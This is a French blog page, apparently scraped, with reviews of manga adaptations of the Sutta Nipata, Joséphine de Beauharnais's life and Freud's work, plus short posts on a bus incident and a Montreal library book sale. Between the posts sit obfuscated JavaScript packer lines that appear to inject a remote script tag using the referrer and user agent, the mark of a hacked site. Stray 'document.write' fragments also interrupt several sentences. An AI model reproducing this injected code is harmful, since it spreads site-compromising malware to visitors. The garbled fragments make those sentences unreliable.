eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deydk|var|u0026u|referrer|ibnza||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysefe|var|u0026u|referrer|ktdhr||js|php’.split(‘|’),0,{}))

Aux sources du canon bouddhique !

“Le bouddhisme est né il y a 2500 ans. Le texte le plus ancien et le plus proche de la doctrine d’origine de Bouddha qui soit parvenu jusqu’à nous est le sutta nipâta. Peut-on rendre avec des mots simples ce qui se disait aux sources de la doctrine, document.write(“”); à l’époque où Bouddha prêchait aux gens ?”

“Vous voici présentées en manga une vie et une pensée emplies de la compassion et de sagesse d’un maître…”

Pourquoi les gens se tourmentent-ils tant…?” [ Texte de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

Les mots de Bouddha (??????????????????????? / Manga de dokuha: budda no kotoba (sutta nip?ta) / “Lire en manga: Les paroles de Bouddha (Sutta Nipata) ”) est le soixantième volume de la collection manga de dokuha publiés par East Press en mai 2010 (le #1112 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le onzième titre de la collection a être traduit par Soleil Manga en avril 2013 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir, Les misérables, Guerre et Paix, Le manifeste du Parti Communiste et L’interprétation des rêves). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha (comportant jusqu’à maintenant cent-cinquante titres!) publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

La vie de Siddhartha Gautama, qui fut par la suite plutôt appellé « l’Éveillé » (i.e. bouddha), a été adapté en manga à plusieurs reprises: la version la plus complète est sans aucun doute La vie de Bouddha (voir mon commentaire sur la version anglaise) par Osamu Tezuka et la plus drôle probablement Les vacances de Jésus et Bouddha (voir commentaire) par Hikaru Nakamura. Toutefois dans ce cas-ci on ne peut pas vraiment parler de biographie puisque, comme tout les volumes de la collection “Classique”, il s’agit plutôt de l’adaptation d’une oeuvre littéraire. En effet Les mots de Bouddha nous introduit tant bien que mal au Sutta Nip?ta (« choix d’instructions »), le plus ancien recueil de textes bouddhiques (probablement écrit au 3e siècle avant notre ère) contenant les enseignements de Bouddha sous leur forme la plus proche de l’originelle (il inclut entre autre les entretiens de Bouddha avec ses disciples). Ce recueil de s?tra appartient à la « collection mineure » (Khuddaka Nik?ya) du Canon pâli qui regroupe les textes fondateurs du courant bouddhiste therav?da (« doctrine des Anciens »). [ci-contre: pg 108]

Le “Prologue” (pg 5) nous dit que “La religion propose de résoudre les diverses inquiétudes que nourrit l’être humain, ainsi que sa peur de la mort… en l’orientant vers une manière de vivre et d’être.” L’une des religions prédominantes en Asie est le bouddhisme, fondé par Siddhartha Gautama il y a 2500 ans. “Ayant mystérieusement rencontré les souffrances endurées par les être humains…” Bouddha “a atteint l’Éveil au terme d’une période d’austérité et de méditation. Les hommes ne peuvent vivre en échappant… à la souffrance ou l’anxiété. (…) Pourtant, en étudiant le chemin de la connaissance [la force qui permet de voir la vérité ultime dans toute sa clarté et d’atteindre l’illumination] et les paroles que nous a laissées Bouddha… on peut peut-être dissoudre ces souffrances.”

Comparaison des pages 10-11 de l’édition originale et française

Un jeune moine fictif nommé Butsugaku nous servira de narrateur et nous guidera au travers les merveilleux enseignements et la sagesse de Bouddha. Dans la première partie, “Siddhartha Gautama” (pg 14), il nous introduit très brièvement à l’ancienne civilisation de la vallée de l’Indus, au Brahmanisme et au cycle des réincarnations (Sa?s?ra) dont l’humain aspire à se libérer pour atteindre la paix de l’éternité (Nirv??a). Siddhartha Gautama est né vers le 5e siècle avant notre ère dans le royaume de Sh?kya. Prince héritier, il reçu une excellente éducation et eut une existence très protégée jusqu’à ce qu’il fasse les “quatre rencontres” (lors de promenades hors du palais il découvrit la vieillesse, la maladie, la mort et fit la rencontre d’un moine) et qu’il décide, à l’âge de 29 ans, de se faire moine ascète errant.

Comparaison des pages 12-13 de l’édition originale et française

Dans la seconde partie, “Siddhartha, le moine errant” (pg 38), il va de villes en villes, priant et pratiquant. Il apprend des techniques de méditations auprès de plusieurs maîtres, puis passe six ans à méditer avec cinq compagnons pour élever son énergie spirituelle par des austérités et des mortifications extrêmes qui l’amenèrent au seuil de la mort. Un jour il accepte l’aumône d’un bol de riz au lait d’une passante et décide de suivre un nouveau chemin: la voie médiane, qui ne s’incline ni vers l’excès de plaisirs, ni vers les mortifications.

Dans la troisième partie, “L’Éveil et le bouddhisme” (pg 52), Siddhartha, alors âgé de 35 ans, continue seul sa quête de l’Éveil. Il décide de s’installer au pied d’un arbre et d’y méditer profondément jusqu’à ce qu’il obtienne l’illumination. Des démons lui apparaissent et tentent de le troubler par des illusions et des tentations mais il reste imperturbable et finalement atteint l’Éveil. Il continue à méditer en différents lieux, dans la sérénité, et après sept semaines Brahm? lui apparut et l’enjoins à expliquer aux gens les lois qui régissent l’illumination et à répandre son enseignement. Bouddha sa demanda comment expliquer une chose aussi difficile… Il décida d’abord de retrouver ses cinq anciens compagnons de méditation et de leur expliquer les lois et l’état d’esprit qui amène à l’illumination. Ils reçurent son enseignement (dharma) et devinrent des Arhat, puis formèrent une communauté (la sangla). C’est le début du bouddhisme…

Dans la quatrième partie, “En voyage pour prêcher” (pg 72), il part prêcher sur les routes en compagnie de ses cinq disciples. Il enseigne que l’être humain est composé de cinq agrégats: la forme corporelle, la sensation, la perception, les formations mentales (volonté, karma) et la conscience. L’humain vit avec quatre souffrances clés (naissance, vieillissement, maladie, mort) auxquelles s’ajoutent quatre douleurs dites “sociales” (séparation, haine, désir, déception de soi). L’élimination de ces souffrances passe par “les quatre nobles vérités”: l’acceptation de la souffrances, de ses origines variées, de la nécessité d’en éliminer les causes, de le faire par un chemin méthodique. La cessation de la souffrance passe par un comportement juste: le “noble sentier octuple” qui inclut la vision juste (comprendre la réalité), l’intention juste, parole juste (ne pas mentir ni médire), l’action juste (se comporter moralement en évitant le vol, le meurtre ou l’alcool), des moyens d’existences justes (travailler), l’effort juste, la prise de conscience juste et la méditation juste. Pour cela il faut éviter les obstacles que sont les flèches des souffrances (illusions, ignorance, orgueil, désir, et malveillance) et les cinq “voiles” ou empêchements égocentriques qui obscurcissent l’esprit (avidité, colère, paresse, agitation intérieure et doute). Seul celui qui a un comportement et des pratiques justes, qui s’efforce de renoncer à l’attachement qu’il a pour lui-même (l’impersonnalité ou le non-soi) ou pour autrui, qui s’applique à ses débarrasser des flèches de la souffrance et des cinq voiles et qui avance sereinement sans se détourner de la vérité peut devenir un homme saint.

Dans la cinquième partie, “Le développement de la communauté” (pg 99), on y voit la croissance de la communauté des disciples de Bouddha et quels étaient les principaux disciples. On y explique également les cinq préceptes du bouddhisme: ne pas tuer, voler, commettre d’adultère, mentir et boire de l’alcool. Aussi, Bouddha disait que “tout en ce monde est lié, en interdépendance. Chaque phénomène a une cause (…). L’origine des souffrances (vieillissement et mort inclus) est clairement l’ignorance, l’aveuglement. Il donne alors douze facteurs en relation les uns avec les autres, qu’on appelle “les douze liens”, expliquant l’enchevêtrement de ces souffrances.” Las vieillesse et la mort origine de la naissance, elle même liée au devenir, à l’attachement, au désir, aux sensations, aux contacts, à l’aveuglement, au karma, à la conscience, au nom et la forme, puis au six sens. “L’aveuglement (ou méconnaissance de ces lois universelles) est à l’origine des souffrances… (…) L’aveuglement dépose le voile de l’ignorance sur la réalité. Les désirs ou disons les “soifs” naissent de l’ignorance. Ces soifs sont les désirs fondamentaux de l’être humain (…) : le plaisir des possessions, l’attachement à la vie et le principe d’auto-annihilation.” Le bouddhisme moderne inclut également dans l’aveuglement les “trois poisons” : l’ignorance (et la stupidité) de laquelle naissent aussi l’avidité et la colère (et l’intolérance d’autrui). On élimine l’ignorance par une compréhension juste des choses, en se défaisant du soi, en développant une bonté sans limite et de l’amour pour tout les êtres vivants.

La paix de l’esprit (pg 144-145)

Dans la sixième partie, “Le vieillissement et la mort” (pg 129) et dans la septième partie, “La paix de l’esprit” (pg 143), Bouddha continue de prêcher. Dans la neuvième partie, “La mort de Bouddha” (pg 160), on raconte que lorsque Bouddha sentit qu’il s’affaiblissait et qu’il se rapprochait de sa mort, il partit pour un dernier voyage avec Ánanda, son cousin et l’un de ses plus ancien compagnons. À Kushinagar, il s’allongea sur le côté entre deux saules et mourut ainsi paisiblement à l’âge de quatre-vingt ans. L’emplacement de sa mort est considéré comme l’un des quatre lieux saints du bouddhisme avec le lieu de sa naissance (Lumbini), le lieu de son illumination (Bodhgaya) et le lieu de son premier sermon (Sarnath). Après la crémation de sa dépouille, ses restes furent divisés en huit urnes qui furent enterrées et l’on éleva des st?pa pour commémorer chacun des sites où reposaient les reliques. Cela semble avoir été confirmé en 1898 par la découverte à Piprahwa d’une telle urne reposant sous un st?pa (je me souviens d’avoir vu un intéressant reportage de Arte sur ce sujet, intitulé “Reliques du Bouddha”).

Le manga se conclu avec un “épilogue” (pg 180) qui fait la synthèse de la doctrine délivrée par Bouddha après son illumination et explique brièvement l’évolution du bouddhisme après sa mort. La communauté se scinda d’abord en deux grands groupes (Mahayana et Theravada), puis l’accumulation de formations sectaires dissidentes créa une vingtaine de mouvements différents qui finirent peu à peu par disparaitre, oubliés ou absorbés par l’hindouisme. La bouddhisme finit par quasiment disparaître d’Inde mais se répandit dans le reste de l’Asie, puis dans le monde entier.

Synthèse de la doctrine délivrée par Bouddha après son illumination (pg 182-85)

Les mots de Bouddha est un manga fascinant. Le style graphique est plutôt bon, quoique extrêmement caricatural par moment mais assez bien dans l’ensemble. Le récit est fluide et compréhensible malgré que ce ne soit toute même qu’une grossière simplification. Considérant toute la difficulté de rendre un sujet aussi complex et abstrait il faut avouer que ce manga y réussi quand même pas trop mal.

Le manga nous offre une intéressante introduction, un bon point de départ, pour comprendre les préceptes à la fois simples et complexes du bouddhisme. Toutefois, malgré l’attrait que je ressens pour ces idées (qui sont similaires au fondement de la plupart des philosophies et religions) je ne crois pas que je ne puisse jamais y adhérer avec succès! Mais si l’on ignore l’illumination, c’est tout de même un bon guide pour aspirer à une existence meilleure, bâtie sur des principes de moralité, d’excellence et de poursuite de la connaissance et de l’amélioration de soi — principes qui correspondent déjà à mes convictions profondes.

Les mots de Bouddha est donc un manga plutôt intéressant et fortement recommandé à tous ceux qui s’intéresse le moindrement au bouddhisme.

Les mots de Bouddha, par “Bouddha”, adapté et illustré par Variety Art Works (traduction: Anne Mallevay). Toulon, Soleil Manga (Coll. Classiques), avril 2013. 12,8 x 18,2 x 1,50 cm, 192 pg., 6,99 € / $12.95 Can. ISBN: 978-2-30202-481-6. Lecture dans le sens occidental et recommandé pour jeunes adultes (14+).
Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Buddha no kotoba © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2013 MC Productions.

[ Translate ]

Joséphine Impératrice (1)

Impératrice de charme au cœur d’or ! Nous sommes au XVIIIe siècle sur l’île de la Martinique. La jeune Rose Tascher de la Pagerie grandit entourée d’une famille aimante. En 1779, document.write(“”); à 16 ans, elle quitte son île et sa famille pour Paris où elle épouse Alexandre, vicomte de Beauharnais. Commence alors pour la jeune fille un dur apprentissage de la vie, entre un mari volage qui la délaisse et l’isolement dans un pays qu’elle ne connaît pas ! La jeune femme s’endurcit sans jamais se départir de la bonté et de la générosité qui la caractérise. Elle va bientôt reconquérir sa liberté et son indépendance, mais déjà, les prémices de la Révolution grondent…” [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdsbs|var|u0026u|referrer|ebffr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erznr|var|u0026u|referrer|rirdz||js|php’.split(‘|’),0,{}))

“La petite Rose naît en 1763 dans une famille noble mais pauvre de la Martinique, alors colonie française. Un jour, une voyante lui prédit que son destin sera « plus grand que celui d’une reine ». Peu après, elle s’embarque pour la métropole et arrive à Paris. C’est le début d’une grande aventure… La vie tumultueuse et passionnée de Joséphine de Beauharnais, qui devint la femme de Napoléon et l’impératrice des Français ! Volume 1 / 4.” [ Texte de la
couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

J’ai découvert ce manga en novembre de l’an dernier mais il m’a fallut du temps avant de pouvoir mettre la main dessus et le lire. Joséphine Impératrice (?????????? / Bara no Josephine / lit. “Les roses de Joséphine”) est un manga sh?jo romantique et historique écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Prépublié en feuilletons dans Princess Gold, le magazine mensuel sh?jo de Akita Shoten, entre septembre 2011 et décembre 2013, il a été compilé en un premier volume en mai 2012 et le quatrième (et dernier) volume est paru en avril 2014. Il a été traduit en français chez Pika Éditions au début octobre 2013. Un second volume a suivi à la fin octobre, puis un troisième en mars 2014. Finalement, le quatrième volume français paraîtra en juillet 2014. Un extrait de trente-six pages du premier volume est disponible sur le site de Pika Édition. [Ci-contre: page 85]

Le scénariste, Kaoru Ochiai, ne semble pas très connu (même au Japon) et, comme c’est le cas la plupart du temps pour les manga, c’est la dessinatrice qui est la véritable vedette. Même si Yumiko Igarashi n’est né qu’en août 1950, on l’inclut parfois parmi les membres du Groupe de l’an 24 (des femmes mangaka très innovatrices, toutes nées en l’an 24 de l’ère Sh?wa [1949]) mais le fait demeure qu’elle fait partie de la même génération que les Moto Hagio, Riyoko Ikeda, Yumiko ?shima, Keiko Takemiya ou Ry?ko Yamagishi. Elle est surtout connue en occident pour ses manga Candy Candy et Georgie. L’éditeur français a rendu disponible sur Youtube (et sous-titré) un bref interview avec la mangaka où elle nous présente son dernier projet:


Ce manga historique nous raconte la vie extraordinaire de Marie Josèphe Rose Tascher de la Pagerie, qui deviendra plus tard la première épouse de Napoléon 1er. C’est d’ailleurs lui qui lui donnera le nom de Joséphine. Rose nait en Martinique en 1763 dans une famille de basse noblesse. Elle y mène une vie paisible auprès de ses parents Joseph-Gaspard et Rose-Claire, de ses soeurs Catherine et Françoise, ainsi que son demi-frère Agathon (aussi appellé Antoine). Ce dernier (fils de Marion, une domestique, et du père de Rose) est un personnage fictif qui sert de narrateur au récit. Une voyante prédit à Rose un destin exceptionnel et qu’elle ne sera réellement aimé que par un seul homme.

En 1777, le marquis de la Ferté-Beauharnais (gouverneur général des Antilles françaises et amant de Désirée, la soeur de Joseph-Gaspard) propose de marier son fils de dix-sept ans, le vicomte Alexandre de Beauharnais, à Catherine mais celle-ci meurt de la tuberculose. À sa place, il est décidé qu’il épousera plutôt Rose, qui a alors seize ans. Rose part donc pour Paris (elle amène avec elle Agathon pour lui servir de domestique) et le mariage est célébré le 13 décembre 1779 [ci-contre: page 79]. Elle tombe rapidement enceinte d’un fils (en 1781), Eugène, et puis d’une fille (en 1783), Hortense.

Elle croit brièvement qu’Alexandre est cet homme que la voyante lui a prédit qu’elle rencontrerait mais elle se trompe. Alexandre ne l’aime pas et passe la plupart de son temps avec madame de la Touche, sa maîtresse. Le couple se sépare donc. Alors qu’Agathon devient le précepteur des enfants, Rose passe près de deux ans à l’abbaye de Penthemont, où elle apprend ce que toute femme de bonne société doit savoir. Puis, elle revient vivre avec Monsieur de Beauharnais à Fontainebleau, où elle espère rencontrer de nombreux jeunes hommes. Mais le spectre de la révolution gronde…

Extrait des pages 82-83: le lendemain du mariage

Ce manga me rappelle un peu La rose de Versailles de Riyoko Ikeda, qui se déroule à la même époque et qui, en abordant le personnage de Marie-Antoinette, traite aussi des prémices de la révolution française. Peut-être qu’avec le titre original de Bara no Josephine Yumiko Igarashi fait-elle un clin d’oeil à celui de Versailles no Bara, mais le titre fait plus clairement référence au nom même de Rose et à l’intérêt qu’elle portait à la botanique et plus particulièrement à la culture des roses (dont au moins trois variétés seront nommées en son honneur).

Aussi, l’opposition assez marquée entre le récit très sérieux et le style de dessin plutôt comique me rappelle beaucoup Osamu Tezuka, chez qui l’on retrouve la même opposition (pourrait-on parler ici de technique narrative?). Ceci place donc le manga à la limite entre le sh?jo (manga pour jeunes filles) de par son style et le josei (manga pour femmes adultes) de par son histoire tout de même assez sérieuse.

Le récit, qui nous offre une histoire à la fois romantique et historique, est excellent. J’espère qu’il va intéresser les jeunes lecteurs à l’histoire de France. A noter d’ailleurs que, malgré la superbe illustration de couverture (répétée dans les pages 4-5) qui reprend la célèbre peinture du Sacre de Napoléon par Jacques-Louis David, Napoléon est absolument absent de ce volume.

Le style graphique du manga est assez bon: si les expressions exagérées des personnages sont généralement dans l’ordre du comique (caricatural), il offre tout de même de temps en temps des arrières-plans très détaillés. Il s’agit ici d’un excellent exemple de style sh?jo classique (un peu comme Sailor Moon): personnages aux grand yeux rêveurs, arrière-plans floraux ou étoilés, beaucoup d’attention porté au coiffures et aux vêtements, etc. D’ailleurs, l’auteur (Igarashi) le dit elle-même: “des robes, des dentelles et des roses : un univers rempli de tout ce que j’aime !”

J’adore les manga historiques et celui-ci ne m’a pas déçu. J’ai bien hâte de voir où Joséphine Impératrice nous mènera (et de voir quand Napoléon y fera son apparition). Je le recommande donc vivement.

Joséphine Impératrice, vol. 1, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne, Pika Éditions, octobre 2013. 192 pages, N & B, 11.5 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN 978-2-8116-1263-4. Sens de lecture original japonais. Recommandé pour adolescents (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Bara no Josephine, vol. 1 © Yumiko Igarashi & Kaoru Ochiai / Visions 2012. All rights reserved. © 2013 Pika Éditions pour la présente édition française.

[ Translate ]

Hypocrisie religieuse

J’ai eu un bel exemple d’hypocrisie religieuse dans l’autobus vendredi matin. Il y avait une personne (de sexe indéterminé) assise qui lisait la Bible (“aime to prochain”, document.write(“”); “aide les indigents”, etc.), son sac confortablement installé sur le siège d’à côté (la Bible prenait toute la place sur ses genoux, alors il fallait bien mettre le sac quelque part, non?). Cette personne lisait avec tellement de ferveur (fanatique?) qu’elle ne réalisait pas que le bus était bondé et que plusieurs personnes auraient bien aimer s’assoir à la place de son sac! C’est ça l’hypocrisie de la religion…

Solde de livres des ABM


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fernr|var|u0026u|referrer|skfay||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbhhf|var|u0026u|referrer|yhtff||js|php’.split(‘|’),0,{}))
Le solde de livres des Amis de la bibliothèque de Montréal a débuté en fin de semaine. Je vous encourage fortement à y aller car on y trouve des aubaines merveilleuses (toutes sortes de documents entre $0.50 et $3.00)! Ce sont les documents dont les bibliothèques de la ville se débarrassent pour faire de la place. Il y en a pour tout les goûts. Cela se poursuit toute la semaine jusqu’à dimanche prochain inclusivement, document.write(“”); de 13 h à 19 h. Plus de détails sur le site des ABM !

Cette année ma récolte a été particulièrement fructueuse: j’y ai trouvé une cinquantaine de livres pour près de $60, ce qui m’a permis de compléter mes collections de SFQ (vingt-et-un livres dont six Alire et douze Jeunesse-Pop de Médiapaul), de littérature japonaise (huit livres), de guides de voyage (cinq de la série Eyewitness/Voir) et de manga (seize manga historiques incluant deux séries plutôt rares et difficiles à trouver: L’arbre au soleil et Gen d’Hiroshima !!!). Je suis pas mal content. Et j’y retourne le week-end prochain! Ne manquer pas votre chance…

L’interprétation des rêves

“Les rêves, document.write(“”); images produites pendant notre sommeil par l’activité psychique, ont toujours eu des sens différents selon les époques et les pays. Prophéties ? Prédictions d’avenir ? Ou simple activité psychique ? Freud explique à travers l’expérience de ses patients et les cas auxquels il a été confronté au cours de sa vie d’homme et de médecin sa théorie de l’analyse du rêve, ainsi que ce que l’on appellera plus tard la « psychanalyse ». Suivez le cheminement de Freud qui l’a amené à l’explication et à la publication de « L’interprétation des rêves » parue en 1899 grâce à ce manga, et comprenez ainsi la signification de vos rêves…”. [ Texte du site de l’éditeur ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idyes|var|u0026u|referrer|derfk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tskrb|var|u0026u|referrer|faihn||js|php’.split(‘|’),0,{}))

Une gigantesque bataille livrée pour mieux connaître l’être humain !

“Le XIXe siècle. Pour la première fois dans toute la longue histoire de l’Homme, Freud se penche sur l’esprit humain. Sans répit, il le décortique d’un oeil acéré en cherchant en même temps à donner un sens au rêve, et touche au combat psychique dans lequel l’Homme d’aujourd’hui se débat…”

“Retrouvez en manga son « introduction à la psychanalyse » et son « interprétation des rêves », deux oeuvre qui ont entraîné une révolution dans tous les domaines, non seulement en psychologie mais dans la perception sociétale, la littérature, l’éducation ou les arts…”

Le complexe d’Oedipe… Le mythe de ce roi est comme un avertissement qui nous est lancé…

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir elle-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et ne devraient poursuivre qu’avec circonspection.

L’interprétation des rêves (??????: ?????????? / Manga de dokuha: Seishin Bunseki Nyûmon • Yume Handan / “Lire en manga: Vorlesungen zur Einfürung in die Psychoanalyse; Die Traumdeutung”) est le cinquante-neuvième volume de la collection manga de dokuha publiés par East Press en avril 2010 (le #1102 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le douzième titre de la collection a être traduit par Soleil Manga en octobre 2013 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir, Les misérables, Guerre et Paix et Le manifeste du Parti Communiste). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha (comportant jusqu’à maintenant cent-cinquante titres!) publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

L’interprétation des rêves nous offre une courte (et assez peu détaillée) biographie illustrée de Sigmund Freud ainsi qu’un exposé sommaire sur son oeuvre, principalement Introduction à la psychanalyse (1917) et L’interprétation des rêves (1899). [ Dans le résumé qui suit certains détails et précisions, comme la chronologie, ont été ajouté par moi ]

Dans “Introduction à la psychanalyse, 1ère partie” (pg 5), on découvre un jeune Freud qui fait un stage clinique à l’hôpital de Vienne. Après ses études de médecine, où il s’est spécialisé en neurologie en travaillant à l’institut de Ernst Brücke, il délaisse la recherche sur les conseils de ce dernier et devient médecin praticien en 1882. Il s’intéresse aux névroses (maladies des nerfs qui ne présentent ni fièvre, ni lésions) et particulièrement à l’hystérie (trouble mental qui s’exprime par des symptômes physiologiques qui ne sont pas liés à des lésions) — dont les patients, qui souffrent de symptômes variés mais ne montrent rien d’anormal physiquement, sont souvent considéré comme des simulateurs. En 1885, il va étudier à l’Hôpital de la Salpêtrière de Paris avec Jean-Martin Charcot qui réussit à créer artificiellement l’hystérie par l’hypnose.

Dans “Les pionniers de l’esprit” (pg 46), après un bref séjour à Berlin, Freud revient à Vienne au printemps 1886 pour épouser Martha Bernays et y établir son cabinet. Freud se demande quel genre de traumatisme invisible peut causer l’hystérie et constate que celle-ci, jusqu’alors considérée comme une maladie de femme, peut aussi être masculine. Cette position polémique devient une source de ridicule et isole Freud professionnellement. Seul son ami Josef Breuer continue de travailler avec lui. Lorsqu’il exprime sa frustration que le traitement hypnotique n’est pas toujours très efficace, Breuer lui raconte le cas de la patiente “Anna O.” Celle-ci souffrait de lourds symptômes hystériques (perte de sensibilité, de la vision, du language, etc.) qui étaient apparus alors qu’elle s’occupait de son père malade. D’abord avec l’aide de l’hypnose, puis par de simples conversations, il interrogea la patiente sur ce qui la troublait. Il découvrit avec surprise qu’après ces conversations la patiente se sentait soulagée et que ses symptômes disparaissaient!

Comparaison des pages 22-23 de l’édition originale et française

L’étude de ce cas, et de plusieurs autres par la suite, permet à Freud de découvrir non seulement l’origine de l’hystérie mais également un véritable traitement. L’hystérie serait causée par un traumatisme psychologique fort (des émotions, des pulsions [morales, sexuelles ou instinctives] ou même des souvenirs intolérables auxquels le patient ne peut faire face et qui sont refoulés, puis se transforment et resurgissent en tant que maladie, angoisse ou obsession). Il s’agit alors de faire remonter le patient dans ses propres souvenirs et de lui faire réaliser l’origine de son trouble ou de la maladie. Freud complémente la thérapie de Breuer, qu’il appelle la « cure par la parole », avec l’association libre, qui consiste à faire dire aux patients tout ce qui leur passe par la tête. Il établit ainsi les bases de la psychanalyse.

Afin d’améliorer sa thérapie, Freud cherche à mieux comprendre la complexité de l’esprit humain. Il développe ainsi les concepts de narcissisme et du “complexe d’Oedipe.” Dans “L’interprétation des rêve” (pg 130), on voit comment il parvient à ces résultats. Il découvre que les rêves peuvent être une fenêtre sur l’inconscient et s’utilise lui-même comme sujet. “En analysant le rêve, on trouve comment il est lié à l’émotion problématique qui étreint l’individu.”

Dans “Introduction à la psychanalyse, 2e partie” (pg 142), on y voit que les sentiments primitifs comme l’amour sont à la base de notre comportement et que la libido (désir sexuel) passe par trois étapes de développement affectif: le stade oral, le stade anal et le stade phallique.

Dans “Le mouvement psychanalytique” (pg 154), on voit que Freud obtient finalement la reconnaissance de son travail. Il donne des séminaires, rassemble de nombreux disciples autour de lui, d’autres médecins se mettent à pratiquer la psychanalyse et des sociétés de la psychanalyse se forment dans plusieurs villes. Cette nouvelle popularité ouvre la porte à la critique et l’apparition de nombreuses théories rivales que Freud refuse de reconnaître crée des schismes dans la profession naissante: Alfred Adler (complexe d’infériorité), Wilhelm Stekel (qui critique l’inefficacité de la libre association) et Carl Gustav Jung (partisan des “archétypes” et père de la psychologie analytique) en sont les principaux dissidents.

